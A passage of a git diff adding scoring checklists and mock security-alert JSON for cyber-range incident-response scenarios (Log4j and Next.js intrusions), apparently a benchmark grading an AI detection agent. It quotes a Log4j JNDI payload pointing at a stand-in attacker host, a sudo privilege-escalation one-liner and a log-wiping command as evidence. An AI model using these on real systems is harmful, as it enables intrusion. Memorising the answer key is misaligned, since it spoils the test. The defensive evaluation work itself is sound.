pts) + - Correctness: the plan includes stop + disable + deleting the .service file + daemon-reload + - Completeness: the plan covers the complete cleanup process and verification steps + +### CHK-13: Crontab persistence `PER-S01` +- **Evidence**: `*/5 * * * * /var/cache/.java-gc` exists in root crontab +- **Detection score** (3 pts) + - Discovery: found a suspicious crontab entry + - Evidence: showed the crontab content + - Attribution: identified as a persistence mechanism that periodically restarts the mining process +- **Plan score** (2 pts) + - Correctness: the plan gives the correct crontab deletion command + - Completeness: the plan recommends checking other cron directories such as /etc/cron.d/ + +### CHK-14: SSH public-key injection `PER-A01` +- **Evidence**: the `ops@internal-ci` public key exists in `/root/.ssh/authorized_keys` +- **Detection score** (3 pts) + - Discovery: found an unauthorized SSH public key + - Evidence: pointed out the public-key content and user identifier (ops@internal-ci) + - Attribution: identified as a persistent remote-access backdoor planted by the attacker +- **Plan score** (2 pts) + - Correctness: the plan gives the command to remove the specific public key + - Completeness: the plan recommends reviewing the authorized_keys of all users + +### CHK-15: Profile.d backdoor `PER-I01` +- **Evidence**: `/etc/profile.d/java-env.sh` exists, containing hidden mining-launch logic +- **Detection score** (3 pts) + - Discovery: found a suspicious profile.d script + - Evidence: showed the file content, pointed out the hidden mining-launch command within + - Attribution: identified as a login-triggered persistence backdoor +- **Plan score** (2 pts) + - Correctness: the plan gives the command to delete the file + - Completeness: the plan recommends reviewing all scripts under /etc/profile.d/ + +## Dimension 4: Attribution and timeline (4 items) + +### CHK-16: JNDI attack-entry identification `Q-01` *detection-only* +- **Evidence**: the webapp log `/opt/webapp/logs/app.log` contains a `${jndi:ldap://ATTACKER_IP:1389/a}` record +- **Detection score** (3 pts) + - Discovery: identified Log4j JNDI injection as the initial intrusion entry point + - Evidence: cited the specific log line in app.log, pointed out the JNDI payload + - Attribution: correctly correlated the JNDI injection with the subsequent webshell deployment +- **Plan score**: N/A + +### CHK-17: Privilege-escalation path reconstruction `Q-02` *detection-only* +- **Evidence**: `/opt/webapp/deploy.sh` has been tampered with + sudo log +- **Detection score** (3 pts) + - Discovery: reconstructed the path by which the app user completed privilege escalation via rewriting deploy.sh + sudo + - Evidence: showed the modified content and timestamp of deploy.sh, cited the sudo audit log + - Attribution: fully described the privilege-escalation chain: app user can write deploy.sh → NOPASSWD sudo → root +- **Plan score**: N/A + +### CHK-18: Attacker-IP attribution `Q-03` *detection-only* +- **Evidence**: the attacker IP in app.log / webshell access logs +- **Detection score** (3 pts) + - Discovery: identified and reported the attacker IP address + - Evidence: extracted the attacker IP from the application logs or network connections + - Attribution: correlated the attacker IP with the attack behaviors at each stage +- **Plan score**: N/A + +### CHK-19: Log-tampering discovery `Q-02` *detection-only* +- **Evidence**: the `/var/log/auth.log` file was cleared (size=0) +- **Detection score** (3 pts) + - Discovery: found that a key log was abnormally cleared + - Evidence: pointed out that the auth.log file size is 0 and its mtime is abnormal + - Attribution: identified as the attacker's anti-forensic behavior, analyzed what the original log might have contained +- **Plan score**: N/A + +## Dimension 5: Remediation closure (3 items) + +### CHK-20: Log4j upgrade remediation `VUL-01` +- **Evidence**: after upgrade, the log4j-core jar version ≥ 2.17.1 +- **Detection score** (3 pts) + - Discovery: the plan explicitly proposes upgrading Log4j + - Evidence: specifies the target version and operation steps + - Attribution: correlated the upgrade with sealing off the initial intrusion entry point +- **Plan score** (2 pts) + - Correctness: the plan specifies the correct secure version number + - Completeness: the plan covers the complete process of stopping the service → replacing → restarting → verifying + +### CHK-21: Deploy.sh permission hardening `ENT-F05` `BAS-04` +- **Evidence**: `/opt/webapp/deploy.sh` restored to its original content and permissions tightened +- **Detection score** (3 pts) + - Discovery: identified the security risk of deploy.sh being tampered with + - Evidence: showed the current content and permissions of the file + - Attribution: correlated with the privilege-escalation path +- **Plan score** (2 pts) + - Correctness: the plan recommends restoring deploy.sh + tightening file permissions (root-write-only) + - Completeness: the plan covers file restoration + permission modification + sudoers hardening + +### CHK-22: Password hardening `BAS-03` +- **Evidence**: root and app user passwords have been changed to strong passwords +- **Detection score** (3 pts) + - Discovery: the report proposes password-security recommendations + - Evidence: pointed out which users use weak passwords + - Attribution: explained how weak passwords facilitate the attack chain +- **Plan score** (2 pts) + - Correctness: the plan recommends a specific password policy + - Completeness: the plan covers all weak-password users + password-policy configuration diff --git a/ranges/log4j-rce/checklist.md b/ranges/log4j-rce/checklist.md new file mode 100644 index 0000000000000000000000000000000000000000..4850dd8d744d29b0cfb7fbd1724748d4eae441f0 --- /dev/null +++ b/ranges/log4j-rce/checklist.md @@ -0,0 +1,229 @@ +# range-log4j-rce 检查清单 + +评估的评分标准(ground truth)。每个检查点拆分为检测分、方案分两个独立评分维度。 + +- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1) — 评判检测 Agent 的分析报告 — LLM-as-a-Judge +- **方案分**(满分 2 分):正确性(1) + 完整性(1) — 评判检测 Agent 输出的修复方案 — LLM-as-a-Judge +- **仅检测项**:方案分标记 N/A,不参与对应汇总 + +## 维度 1:入侵实体识别与处置(5 项) + +### CHK-01:Webshell 进程检测 `ENT-F01` +- **证据**:python3 webshell.py 进程监听 48888 端口 +- **检测分**(3 分) + - 发现:识别到异常 Python HTTP 服务 + - 证据:指出进程路径 `/opt/webapp/webshell.py`,监听端口 48888 + - 归因:将 webshell 与 Log4j JNDI 利用链关联 +- **方案分**(2 分) + - 正确性:方案给出正确的进程终止命令(kill / fuser -k 48888/tcp) + - 完整性:方案涵盖终止进程 + 删除文件 + 检查是否有重启机制 + +### CHK-02:挖矿进程检测 `ENT-P01` +- **证据**:进程 `/var/cache/.java-gc` 正在运行,伪装为 Java GC helper +- **检测分**(3 分) + - 发现:识别到挖矿进程 + - 证据:指出路径 `/var/cache/.java-gc`,识别伪装名称 + - 归因:将挖矿进程与攻击者持久化行为关联 +- **方案分**(2 分) + - 正确性:方案给出正确的进程终止命令 + - 完整性:方案涵盖终止进程 + 删除文件 + 检查守护机制(systemd/crontab) + +### CHK-03:挖矿文件清理 `ENT-F02` +- **证据**:文件 `/var/cache/.java-gc` 存在(bash 脚本伪装为二进制) +- **检测分**(3 分) + - 发现:识别到恶意文件 + - 证据:指出文件路径和类型 + - 归因:与挖矿行为关联 +- **方案分**(2 分) + - 正确性:方案给出正确的删除命令 + - 完整性:方案建议检查 /var/cache、/tmp 等隐藏位置是否有副本 + +### CHK-04:Webshell 文件清理 `ENT-F01` +- **证据**:`/opt/webapp/webshell.py` 或 `/tmp/.ws.py` 存在 +- **检测分**(3 分) + - 发现:发现异常 Python 文件 + - 证据:指出路径和内容(HTTP server 接受 `?c=` 参数执行命令) + - 归因:识别为攻击者植入的后门文件 +- **方案分**(2 分) + - 正确性:方案给出正确的删除命令 + - 完整性:方案涵盖 webshell 文件 + Exploit.class 的清理 + +### CHK-05:数据外泄文件 `ENT-F04` +- **证据**:`/tmp/.db_dump` 存在,包含数据库导出内容 +- **检测分**(3 分) + - 发现:发现数据库 dump 文件 + - 证据:指出路径和内容(含用户凭证、API Keys) + - 归因:识别为攻击者信息收集阶段的产物 +- **方案分**(2 分) + - 正确性:方案建议先保留取证分析,记录数据泄露范围 + - 完整性:方案涵盖取证保存 + 后续清理 + 受影响凭证轮换建议 + +## 维度 2:基线风险(6 项) + +### CHK-06:Log4j2 漏洞版本 `VUL-01` +- **证据**:`/opt/webapp/lib/log4j-core-2.14.1.jar` — CVE-2021-44228 +- **检测分**(3 分) + - 发现:识别 Log4j2 2.14.1 存在已知 RCE 漏洞 + - 证据:指出 jar 包路径和版本号,引用 CVE-2021-44228 + - 归因:将此漏洞与初始入侵入口关联 +- **方案分**(2 分) + - 正确性:方案建议升级到 2.17.1+ 或应用缓解措施(设置 log4j2.formatMsgNoLookups=true) + - 完整性:方案涵盖停服 → 替换 jar → 重启 + 验证措施 + +### CHK-07:SSH PermitRootLogin `BAS-01` +- **证据**:`/etc/ssh/sshd_config` 中 `PermitRootLogin yes` +- **检测分**(3 分) + - 发现:报告中提及 PermitRootLogin 的风险 + - 证据:引用 sshd_config 中的具体配置行 + - 归因:指出允许 root 直接 SSH 登录增加暴力破解风险 +- **方案分**(2 分) + - 正确性:方案建议改为 `no` 或 `prohibit-password` + - 完整性:方案包含 `sshd -t` 验证和重启步骤 + +### CHK-08:SSH MaxAuthTries 过高 `BAS-01` +- **证据**:`/etc/ssh/sshd_config` 中 `MaxAuthTries 100` +- **检测分**(3 分) + - 发现:识别 MaxAuthTries 设置不安全 + - 证据:引用配置行和具体数值 100 + - 归因:解释该设置如何放大暴力破解风险 +- **方案分**(2 分) + - 正确性:方案建议将 MaxAuthTries 改为合理值(3-6) + - 完整性:方案包含重启 sshd 步骤 + +### CHK-09:app 用户弱密码 `BAS-03` +- **证据**:app 用户密码为 `app2024` +- **检测分**(3 分) + - 发现:识别到系统用户使用弱密码 + - 证据:通过密码策略检查或 shadow 文件分析发现 + - 归因:弱密码可被暴力破解或社工利用 +- **方案分**(2 分) + - 正确性:方案建议更换为强密码(16+ 字符,含大小写数字特殊字符) + - 完整性:方案涵盖密码修改 + 密码策略加固(PAM) + +### CHK-10:Sudo NOPASSWD 过宽 `BAS-04` +- **证据**:`/etc/sudoers.d/app-deploy` 允许 app 用户 NOPASSWD 执行 `/opt/webapp/deploy.sh` +- **检测分**(3 分) + - 发现:识别 sudoers 配置风险 + - 证据:引用 sudoers 文件内容 + - 归因:解释可写脚本 + NOPASSWD = 直接提权 +- **方案分**(2 分) + - 正确性:方案建议移除 NOPASSWD 或限制 deploy.sh 为 root 只写 + - 完整性:方案涵盖 sudoers 修改 + 脚本权限加固 + visudo 验证 + +### CHK-11:JNDI 远程类加载配置 `VUL-01` +- **证据**:VulnWebApp.java 中 `System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true")` +- **检测分**(3 分) + - 发现:识别 JNDI 安全配置被显式放宽 + - 证据:指出代码位置和属性名 + - 归因:解释该配置允许远程代码加载,是攻击生效的前提 +- **方案分**(2 分) + - 正确性:方案建议移除该 System.setProperty 或设为 false + - 完整性:方案涵盖代码修改 + 重新编译 + 重启服务 + +## 维度 3:持久化检测与清除(4 项) + +### CHK-12:Systemd 持久化后门 `PER-V01` +- **证据**:`/etc/systemd/system/java-gc-helper.service`(enabled 状态) +- **检测分**(3 分) + - 发现:发现可疑 systemd 服务单元 + - 证据:指出服务名和文件路径,展示 ExecStart 内容 + - 归因:识别为攻击者植入的持久化挖矿服务 +- **方案分**(2 分) + - 正确性:方案包含 stop + disable + 删除 .service 文件 + daemon-reload + - 完整性:方案涵盖清理完整流程和验证步骤 + +### CHK-13:Crontab 持久化 `PER-S01` +- **证据**:root crontab 中存在 `*/5 * * * * /var/cache/.java-gc` +- **检测分**(3 分) + - 发现:发现可疑 crontab 条目 + - 证据:展示 crontab 内容 + - 归因:识别为定时重启挖矿进程的持久化机制 +- **方案分**(2 分) + - 正确性:方案给出正确的 crontab 删除命令 + - 完整性:方案建议检查 /etc/cron.d/ 等其他 cron 目录 + +### CHK-14:SSH 公钥注入 `PER-A01` +- **证据**:`/root/.ssh/authorized_keys` 中存在 `ops@internal-ci` 公钥 +- **检测分**(3 分) + - 发现:发现未授权的 SSH 公钥 + - 证据:指出公钥内容和用户标识(ops@internal-ci) + - 归因:识别为攻击者植入的持久远程访问后门 +- **方案分**(2 分) + - 正确性:方案给出移除特定公钥的命令 + - 完整性:方案建议审查所有用户的 authorized_keys + +### CHK-15:Profile.d 后门 `PER-I01` +- **证据**:`/etc/profile.d/java-env.sh` 存在,内含启动挖矿的隐藏逻辑 +- **检测分**(3 分) + - 发现:发现可疑 profile.d 脚本 + - 证据:展示文件内容,指出其中隐藏的挖矿启动命令 + - 归因:识别为登录触发型持久化后门 +- **方案分**(2 分) + - 正确性:方案给出删除文件的命令 + - 完整性:方案建议审查 /etc/profile.d/ 下所有脚本 + +## 维度 4:归因与时间线(4 项) + +### CHK-16:JNDI 攻击入口识别 `Q-01` — 仅检测 +- **证据**:webapp 日志 `/opt/webapp/logs/app.log` 含 `${jndi:ldap://ATTACKER_IP:1389/a}` 记录 +- **检测分**(3 分) + - 发现:识别 Log4j JNDI 注入为初始入侵入口 + - 证据:引用 app.log 中的具体日志行,指出 JNDI payload + - 归因:将 JNDI 注入与后续 webshell 部署正确关联 +- **方案分**:N/A + +### CHK-17:提权路径还原 `Q-02` — 仅检测 +- **证据**:`/opt/webapp/deploy.sh` 已被篡改 + sudo 日志 +- **检测分**(3 分) + - 发现:还原出 app 用户通过改写 deploy.sh + sudo 完成提权的路径 + - 证据:展示 deploy.sh 被修改的内容和时间戳,引用 sudo 审计日志 + - 归因:完整描述提权链:app 用户可写 deploy.sh → NOPASSWD sudo → root +- **方案分**:N/A + +### CHK-18:攻击者 IP 归因 `Q-03` — 仅检测 +- **证据**:app.log / webshell 访问日志中的攻击者 IP +- **检测分**(3 分) + - 发现:识别并报告攻击者 IP 地址 + - 证据:从应用日志或网络连接中提取攻击者 IP + - 归因:将攻击者 IP 与各阶段攻击行为关联 +- **方案分**:N/A + +### CHK-19:日志篡改发现 `Q-02` — 仅检测 +- **证据**:`/var/log/auth.log` 文件被清空(size=0) +- **检测分**(3 分) + - 发现:发现关键日志被异常清空 + - 证据:指出 auth.log 文件大小为 0 且 mtime 异常 + - 归因:识别为攻击者的反取证行为,分析原始日志可能包含的内容 +- **方案分**:N/A + +## 维度 5:修复闭环(3 项) + +### CHK-20:Log4j 升级修复 `VUL-01` +- **证据**:升级后 log4j-core jar 版本 ≥ 2.17.1 +- **检测分**(3 分) + - 发现:方案中明确提出升级 Log4j + - 证据:指定目标版本和操作步骤 + - 归因:将升级与堵塞初始入侵入口关联 +- **方案分**(2 分) + - 正确性:方案指定正确的安全版本号 + - 完整性:方案涵盖停服 → 替换 → 重启 → 验证的完整流程 + +### CHK-21:Deploy.sh 权限加固 `ENT-F05` `BAS-04` +- **证据**:`/opt/webapp/deploy.sh` 恢复原始内容且权限收紧 +- **检测分**(3 分) + - 发现:识别 deploy.sh 被篡改的安全风险 + - 证据:展示文件当前内容和权限 + - 归因:与提权路径关联 +- **方案分**(2 分) + - 正确性:方案建议恢复 deploy.sh + 收紧文件权限(root 只写) + - 完整性:方案涵盖文件恢复 + 权限修改 + sudoers 加固 + +### CHK-22:密码强化 `BAS-03` +- **证据**:root 和 app 用户密码已更换为强密码 +- **检测分**(3 分) + - 发现:报告中提出密码安全建议 + - 证据:指出哪些用户使用弱密码 + - 归因:解释弱密码对攻击链的促进作用 +- **方案分**(2 分) + - 正确性:方案建议具体的密码策略 + - 完整性:方案涵盖所有弱密码用户 + 密码策略配置 diff --git a/ranges/log4j-rce/disk.tar.gz b/ranges/log4j-rce/disk.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..33597222c70b617a1a69aacbddb4bdc5514598fe --- /dev/null +++ b/ranges/log4j-rce/disk.tar.gz @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3bb74aa938561b913038d6c38d549c191065e1da0b02993a900b684ebb8ba0a4 +size 1868162608 diff --git a/ranges/log4j-rce/disk.tar.gz.sha256 b/ranges/log4j-rce/disk.tar.gz.sha256 new file mode 100644 index 0000000000000000000000000000000000000000..661458c21cf40fb41aeb762055603e84d65765ed --- /dev/null +++ b/ranges/log4j-rce/disk.tar.gz.sha256 @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:308263675679a7ba2a7e0d255235492b1463b6e42d1fb3d96bd124f2a06b9dc4 +size 78 diff --git a/ranges/log4j-rce/sas-mock/alerts.json b/ranges/log4j-rce/sas-mock/alerts.json new file mode 100644 index 0000000000000000000000000000000000000000..6640e97f66c78a68113d3fb0ebe0ca32f6cf9d7e --- /dev/null +++ b/ranges/log4j-rce/sas-mock/alerts.json @@ -0,0 +1,77 @@ +{ + "RequestId": "mock-range-log4j-rce-alerts", + "PageSize": 50, + "CurrentPage": 1, + "TotalCount": 6, + "SuspEvents": [ + { + "AlarmEventName": "Web应用远程代码执行", + "AlarmEventType": "Exploit", + "AlarmEventNameOriginal": "Log4j2 JNDI RCE", + "Level": "serious", + "Desc": "检测到通过 Log4j2 JNDI 注入触发远程代码执行,创建 webshell 进程", + "EventStatus": 1, + "InternetIp": "__VICTIM_IP__", + "IntranetIp": "__VICTIM_IP__", + "SrcIp": "__ATTACKER_IP__", + "GmtEvent": "2026-05-06 10:30:00", + "Details": "java.naming.InitialContext.lookup(ldap://__ATTACKER_IP__:1389/a) → Exploit.class → python3 webshell.py" + }, + { + "AlarmEventName": "恶意脚本执行", + "AlarmEventType": "WebShell", + "AlarmEventNameOriginal": "Webshell Activity", + "Level": "serious", + "Desc": "检测到 Python HTTP 服务监听 48888 端口,接收并执行远程命令", + "EventStatus": 1, + "InternetIp": "__VICTIM_IP__", + "SrcIp": "__ATTACKER_IP__", + "GmtEvent": "2026-05-06 10:31:00", + "Details": "python3 /opt/webapp/webshell.py 48888" + }, + { + "AlarmEventName": "提权行为", + "AlarmEventType": "PrivilegeEscalation", + "AlarmEventNameOriginal": "Sudo Privilege Escalation", + "Level": "serious", + "Desc": "app 用户通过修改可写的 deploy.sh 并利用 sudo NOPASSWD 完成 root 提权", + "EventStatus": 1, + "InternetIp": "__VICTIM_IP__", + "GmtEvent": "2026-05-06 10:35:00", + "Details": "echo '#!/bin/bash\\nid > /tmp/.uid' > /opt/webapp/deploy.sh && sudo /opt/webapp/deploy.sh" + }, + { + "AlarmEventName": "异常进程-挖矿", + "AlarmEventType": "CryptoCurrency", + "AlarmEventNameOriginal": "Mining Process", + "Level": "serious", + "Desc": "检测到挖矿行为,进程伪装为 java-gc-helper", + "EventStatus": 1, + "InternetIp": "__VICTIM_IP__", + "GmtEvent": "2026-05-06 10:40:00", + "Details": "/var/cache/.java-gc (systemd service: java-gc-helper)" + }, + { + "AlarmEventName": "持久化后门-Crontab", + "AlarmEventType": "Persistence", + "AlarmEventNameOriginal": "Crontab Backdoor", + "Level": "high", + "Desc": "发现可疑 crontab 条目执行隐藏脚本", + "EventStatus": 1, + "InternetIp": "__VICTIM_IP__", + "GmtEvent": "2026-05-06 10:41:00", + "Details": "*/5 * * * * /var/cache/.java-gc" + }, + { + "AlarmEventName": "日志异常清除", + "AlarmEventType": "DefenseEvasion", + "AlarmEventNameOriginal": "Log Tampering", + "Level": "high", + "Desc": "auth.log 被异常截断,疑似攻击者清理入侵痕迹", + "EventStatus": 1, + "InternetIp": "__VICTIM_IP__", + "GmtEvent": "2026-05-06 10:45:00", + "Details": "truncate -s 0 /var/log/auth.log" + } + ] +} diff --git a/ranges/log4j-rce/sas-mock/baselines.json b/ranges/log4j-rce/sas-mock/baselines.json new file mode 100644 index 0000000000000000000000000000000000000000..89f342bdf9ca3a4fbde06ce588143ee6a9843570 --- /dev/null +++ b/ranges/log4j-rce/sas-mock/baselines.json @@ -0,0 +1,44 @@ +{ + "RequestId": "mock-range-log4j-rce-baselines", + "PageSize": 50, + "CurrentPage": 1, + "TotalCount": 4, + "RiskItemList": [ + { + "RiskItemName": "PermitRootLogin 配置为 yes", + "RiskLevel": "high", + "Category": "ssh_config", + "ItemName": "SSH PermitRootLogin", + "CheckResult": "warn", + "Details": "/etc/ssh/sshd_config 中 PermitRootLogin 设为 yes,允许 root 用户直接通过 SSH 登录", + "Ip": "__VICTIM_IP__" + }, + { + "RiskItemName": "SSH MaxAuthTries 设置过大", + "RiskLevel": "medium", + "Category": "ssh_config", + "ItemName": "SSH MaxAuthTries", + "CheckResult": "warn", + "Details": "MaxAuthTries 设置为 100,极大增加暴力破解成功概率", + "Ip": "__VICTIM_IP__" + }, + { + "RiskItemName": "弱口令 - 系统账户", + "RiskLevel": "high", + "Category": "weak_password", + "ItemName": "WeakPassword-app", + "CheckResult": "warn", + "Details": "用户 app 使用弱密码", + "Ip": "__VICTIM_IP__" + }, + { + "RiskItemName": "Sudoers NOPASSWD 配置", + "RiskLevel": "high", + "Category": "sudo_config", + "ItemName": "Sudo NOPASSWD", + "CheckResult": "warn", + "Details": "用户 app 对 /opt/webapp/deploy.sh 有 NOPASSWD sudo 权限", + "Ip": "__VICTIM_IP__" + } + ] +} diff --git a/ranges/log4j-rce/sas-mock/vulns.json b/ranges/log4j-rce/sas-mock/vulns.json new file mode 100644 index 0000000000000000000000000000000000000000..fcc0308d15ab0c94437f90528614d07012f6d1a8 --- /dev/null +++ b/ranges/log4j-rce/sas-mock/vulns.json @@ -0,0 +1,26 @@ +{ + "cve": { + "CurrentPage": 1, + "PageSize": 50, + "RequestId": "mock-range-log4j-rce-vuln-cve", + "TotalCount": 1, + "VulRecords": [ + { + "AliasName": "CVE-2021-44228: Apache Log4j2 JNDI 远程代码执行漏洞", + "Name": "CVE-2021-44228", + "Necessity": "asap", + "Related": "log4j-core-2.14.1.jar", + "Type": "cve", + "FirstTs": 1714000000000, + "LastTs": 1714000000000, + "Ip": "__VICTIM_IP__", + "InternetIp": "__VICTIM_IP__", + "Level": "high" + } + ] + }, + "sys": { "CurrentPage": 1, "PageSize": 50, "RequestId": "mock-range-log4j-rce-vuln-sys", "TotalCount": 0, "VulRecords": [] }, + "cms": { "CurrentPage": 1, "PageSize": 50, "RequestId": "mock-range-log4j-rce-vuln-cms", "TotalCount": 0, "VulRecords": [] }, + "app": { "CurrentPage": 1, "PageSize": 50, "RequestId": "mock-range-log4j-rce-vuln-app", "TotalCount": 0, "VulRecords": [] }, + "emg": { "CurrentPage": 1, "PageSize": 50, "RequestId": "mock-range-log4j-rce-vuln-emg", "TotalCount": 0, "VulRecords": [] } +} diff --git a/ranges/nextjs-rce/checklist.en.md b/ranges/nextjs-rce/checklist.en.md new file mode 100644 index 0000000000000000000000000000000000000000..d9ff73abcbc8da28d7eafb5dd5a4b6edd2438de2 --- /dev/null +++ b/ranges/nextjs-rce/checklist.en.md @@ -0,0 +1,319 @@ +# range-nextjs-rce Checklist + +Scoring criteria (ground truth) for evaluation. Each checkpoint is split into two independent scoring dimensions: detection score and plan score. + +- **Detection score** (max 3 pts): Discovery(1) + Evidence(1) + Attribution(1) — judging the detection Agent's analysis report — LLM-as-a-Judge +- **Plan score** (max 2 pts): Correctness(1) + Completeness(1) — judging the repair plan output by the detection Agent — LLM-as-a-Judge +- **detection-only**: Plan score is marked N/A and does not count toward the corresponding summary + +## Dimension 1: Intrusion entity identification and disposal (5 items) + +### CHK-01: Mining process detection `ENT-P01` +- **Evidence**: Process `/var/cache/.node-gc` is running, with mining log `/var/cache/.node-gc.log` +- **Detection score** (3 pts) + - Discovery: Identifies that the mining process exists + - Evidence: Points out the path `/var/cache/.node-gc`, recognizes the disguised name (imitating the Node.js GC process) + - Attribution: Associates the mining process with the attacker's post-intrusion profit-seeking behavior +- **Plan score** (2 pts) + - Correctness: The plan provides correct process-termination commands (kill/pkill) + - Completeness: The plan covers terminating the process + deleting the binary and log + checking the guard mechanism + +### CHK-02: Mining binary cleanup `ENT-F02` +- **Evidence**: File `/var/cache/.node-gc` (script) + log `/var/cache/.node-gc.log` +- **Detection score** (3 pts) + - Discovery: Identifies the malicious file + - Evidence: Points out the file path and type + - Attribution: Associates it with the mining behavior +- **Plan score** (2 pts) + - Correctness: The plan provides correct deletion commands + - Completeness: The plan suggests checking hidden directories such as /var/cache and /tmp for copies + +### CHK-03: Webshell (debug.js) detection `ENT-F01` +- **Evidence**: File `/opt/webapp/.next/static/chunks/debug.js` — Node.js Webshell +- **Detection score** (3 pts) + - Discovery: Identifies the Webshell file + - Evidence: Points out the path and content characteristics (HTTP server + execSync) + - Attribution: Associates its placement location (.next/static/chunks/) with the Next.js application structure +- **Plan score** (2 pts) + - Correctness: The plan provides correct file-deletion commands + - Completeness: The plan covers removing the Webshell + checking for other anomalous files under the .next directory + +### CHK-04: Malicious SO / LD_PRELOAD persistence `ENT-F03` `PER-H01` +- **Evidence**: `/etc/ld.so.preload` contains `/usr/lib/x86_64-linux-gnu/.libnode_helper.so` — LD_PRELOAD rootkit SO +- **Detection score** (3 pts) + - Discovery: Identifies the malicious SO file, ld.so.preload has been tampered with + - Evidence: Points out the file path, hidden characteristic (starting with .), disguised name, cites the content of `/etc/ld.so.preload` and the corresponding SO file + - Attribution: Associates it with the LD_PRELOAD persistence mechanism, identifies it as LD_PRELOAD hijacking rootkit persistence +- **Plan score** (2 pts) + - Correctness: The plan provides commands to delete the SO + clean up ld.so.preload + - Completeness: The plan covers ldconfig refresh + checking for other preload entries + +### CHK-05: Privesc residual files `ENT-F04` +- **Evidence**: `/tmp/.escalation_log`, `/tmp/.privesc_proof` — SUID privilege-escalation evidence +- **Detection score** (3 pts) + - Discovery: Discovers residuals from privilege-escalation operations + - Evidence: Points out that the file contents record the privilege-escalation path + - Attribution: Associates it with SUID backup-tool privilege escalation +- **Plan score** (2 pts) + - Correctness: Collect evidence first, then delete + - Completeness: Suggests checking for other hidden files under /tmp + +## Dimension 2: Persistence and residency mechanisms (5 items) + +### CHK-06: profile.d backdoor `PER-E01` +- **Evidence**: `/etc/profile.d/node-env.sh` hides mining-restart logic +- **Detection score** (3 pts) + - Discovery: Identifies the malicious script in profile.d + - Evidence: Cites the script content, points out the hidden background-process startup code within it + - Attribution: Identifies it as login-triggered persistence +- **Plan score** (2 pts) + - Correctness: Delete the malicious script + - Completeness: Review other scripts in the profile.d directory + +### CHK-07: systemd service persistence `PER-S02` +- **Evidence**: `/etc/systemd/system/node-gc-helper.service` — disguised as a GC helper +- **Detection score** (3 pts) + - Discovery: Identifies the anomalous systemd service + - Evidence: Cites the service file content, points out that it executes the mining program + - Attribution: Associates the disguised service name (node-gc-helper) with the malicious behavior +- **Plan score** (2 pts) + - Correctness: stop + disable + delete the service file + daemon-reload + - Completeness: The plan covers all systemd-related cleanup steps + +### CHK-08: crontab persistence `PER-S01` +- **Evidence**: The root crontab contains `*/5 * * * * /var/cache/.node-gc` +- **Detection score** (3 pts) + - Discovery: Identifies the anomalous crontab entry + - Evidence: Cites the complete crontab line + - Attribution: Associates it with mining-program persistence +- **Plan score** (2 pts) + - Correctness: The plan provides crontab -r or editing to remove the malicious line + - Completeness: Check all users' crontabs + /etc/cron.d + +### CHK-09: SSH key injection `PER-A01` +- **Evidence**: `/root/.ssh/authorized_keys` contains the `deploy@vercel-ci` key +- **Detection score** (3 pts) + - Discovery: Identifies the anomalous SSH key + - Evidence: Cites the key content and comment field + - Attribution: Recognizes the disguised comment (deploy@vercel-ci is not a legitimate deployment key) +- **Plan score** (2 pts) + - Correctness: Remove the malicious key + - Completeness: Review all users' authorized_keys + +### CHK-10: Webshell process persistence `PER-W01` +- **Evidence**: The debug.js Webshell listens on 127.0.0.1:9229 (disguised as the Node.js debugger port) +- **Detection score** (3 pts) + - Discovery: Identifies the Webshell process + - Evidence: Points out the listening port and process startup method + - Attribution: Associates it with Phase 1 of the Next.js attack chain +- **Plan score** (2 pts) + - Correctness: Terminate the process + delete the file + - Completeness: Check whether other anomalous ports are being listened on + +## Dimension 3: Baseline risks (10 items) + +### CHK-11: SSH PermitRootLogin `BAS-01` +- **Evidence**: `/etc/ssh/sshd_config` is configured with `PermitRootLogin yes` +- **Detection score** (3 pts) / **Plan score** (2 pts) + - Same category as range-ssh-miner CHK-05 + +### CHK-12: SSH PasswordAuth `BAS-01` +- **Evidence**: `/etc/ssh/sshd_config` is configured with `PasswordAuthentication yes` +- **Detection score** (3 pts) / **Plan score** (2 pts) + +### CHK-13: SSH MaxAuthTries `BAS-01` +- **Evidence**: `MaxAuthTries 100` (should be tightened to 6 or lower) +- **Detection score** (3 pts) / **Plan score** (2 pts) + +### CHK-14: root weak password `BAS-01` +- **Evidence**: Weak-password risk / password-login risk exists +- **Detection score** (3 pts) / **Plan score** (2 pts) + +### CHK-15: node user dangerous sudoers `BAS-03` +- **Evidence**: `/etc/sudoers.d/node-ops` allows the node user to run backup-tool with NOPASSWD +- **Detection score** (3 pts) + - Discovery: The report mentions the dangerous sudoers configuration + - Evidence: Cites the sudoers.d content + - Attribution: Associates it with the SUID privilege-escalation path +- **Plan score** (2 pts) + - Correctness: Remove or strictly restrict the sudoers entry + - Completeness: Review all sudoers.d/ files + +### CHK-16: SUID backup-tool `BAS-03` +- **Evidence**: `/usr/local/bin/backup-tool` has the SUID root bit + --exec command injection +- **Detection score** (3 pts) + - Discovery: Identifies the dangerous SUID file + - Evidence: Points out the SUID bit + the command-injection vulnerability of the --exec parameter + - Attribution: Associates it with the privilege-escalation path +- **Plan score** (2 pts) + - Correctness: Remove the SUID bit (chmod u-s) or remove the tool + - Completeness: Full-disk SUID audit suggestion + +### CHK-17: .env file permissions `BAS-05` +- **Evidence**: `/opt/webapp/.env` permissions are too permissive (readable by non-node users) +- **Detection score** (3 pts) + - Discovery: The report mentions sensitive information exposure in the .env file + - Evidence: Cites the .env content (DB password, JWT Secret, SMTP password) + - Attribution: Associates the credential exposure with the attacker's information-gathering phase +- **Plan score** (2 pts) + - Correctness: chmod 600 + chown node:node + rotate all leaked credentials + - Completeness: The plan covers rotation of all leaked credentials + +### CHK-18: PostgreSQL remote access `BAS-02` +- **Evidence**: `pg_hba.conf` allows `0.0.0.0/0` + `listen_addresses = '*'` +- **Detection score** (3 pts) + - Discovery: The report mentions PostgreSQL remote-access risk + - Evidence: Cites the pg_hba.conf and postgresql.conf configuration + - Attribution: Associates the database exposure with data leakage +- **Plan score** (2 pts) + - Correctness: Restrict pg_hba.conf to allow localhost only + modify listen_addresses + - Completeness: Includes password rotation + restart verification + +### CHK-19: PostgreSQL weak password `BAS-02` +- **Evidence**: The webapp user password `webapp_db_2024!` is exposed in plaintext in .env +- **Detection score** (3 pts) / **Plan score** (2 pts) + +### CHK-20: JWT/SMTP credential leak `BAS-05` +- **Evidence**: The JWT_SECRET and SMTP_PASSWORD in .env are exposed in plaintext +- **Detection score** (3 pts) + - Discovery: Identifies multiple credential leaks 